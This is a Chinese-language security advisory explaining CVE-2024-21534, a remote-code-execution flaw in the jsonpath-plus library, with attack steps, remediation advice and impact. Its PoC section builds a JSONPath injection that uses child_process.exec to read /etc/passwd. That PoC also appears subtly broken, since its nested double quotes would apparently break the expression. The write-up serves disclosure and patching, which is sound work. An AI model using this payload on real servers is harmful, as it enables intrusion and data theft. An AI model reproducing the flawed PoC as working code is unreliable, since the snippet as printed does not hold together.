jsonpath-plus
是一个用于查询和操作 JSON 数据的 JavaScript 库,类似于 XML 的 XPath。在 10.2.0 之前的版本中,存在一个严重的安全漏洞,编号为 CVE-2024-21534,攻击者可以利用此漏洞在服务器上执行任意代码,即远程代码执行(RCE)。
漏洞原理
该漏洞源于 jsonpath-plus
未能充分过滤用户输入,导致攻击者可以通过构造恶意的 JSONPath 表达式来执行任意 JavaScript 代码. jsonpath-plus
内部使用了 Node.js 的 vm
模块,该模块允许在沙箱环境中运行代码。但如果未对输入进行适当的清理,攻击者便可利用 vm
模块执行恶意代码.
即使在 10.0.0 版本之后,jsonpath-plus
尝试修复此漏洞,但仍可以使用不同的Payload绕过。
实际应用例子
假设你有一个在线商店,允许用户使用 JSONPath 查询商品信息。如果你的应用使用了存在漏洞的 jsonpath-plus
版本,攻击者可以构造一个包含恶意 JavaScript 代码的 JSONPath 表达式,例如读取服务器上的敏感文件或执行系统命令[1]。
攻击步骤
- 恶意输入构造:攻击者创建一个包含恶意 JavaScript 代码的 JSONPath 表达式。
- 注入点 :将恶意 JSONPath 表达式提供给应用程序的端点,该端点使用
jsonpath-plus
处理用户提供的 JSON 数据查询。 - 代码执行 :应用程序使用
vm
模块评估表达式,而没有进行适当的清理,导致攻击者的代码在服务器上执行。
PoC Demo
javascript
// index.js
const { JSONPath } = require("jsonpath-plus");
const data = {};
// 恶意代码,例如读取 /etc/passwd 文件
const maliciousCode = 'require("child_process").exec("cat /etc/passwd")';
// 构造包含恶意代码的 JSONPath 表达式
const maliciousPath = `$[(this.constructor.constructor("${maliciousCode}")())]`;
// 使用 JSONPath 执行查询
const result = JSONPath({
json: data,
path: maliciousPath
});
修复方案
- 升级
jsonpath-plus
:升级到 10.2.0 或更高版本,该版本已修复此漏洞。 - 代码审查:检查代码中是否存在可能重新启用不安全功能的自定义配置,并进行相应调整。
- 输入清理:始终确保对用户输入进行适当的清理,以防止注入攻击。
影响
- 未授权访问:攻击者可以获得对系统的未授权访问。
- 数据泄露:敏感信息可能被暴露或窃取。
- 系统入侵:可能导致完整的系统入侵,从而导致服务中断或其他攻击。
其他受影响的应用
IBM App Connect Enterprise 存在由于 jsonpath-plus
导致的多重漏洞。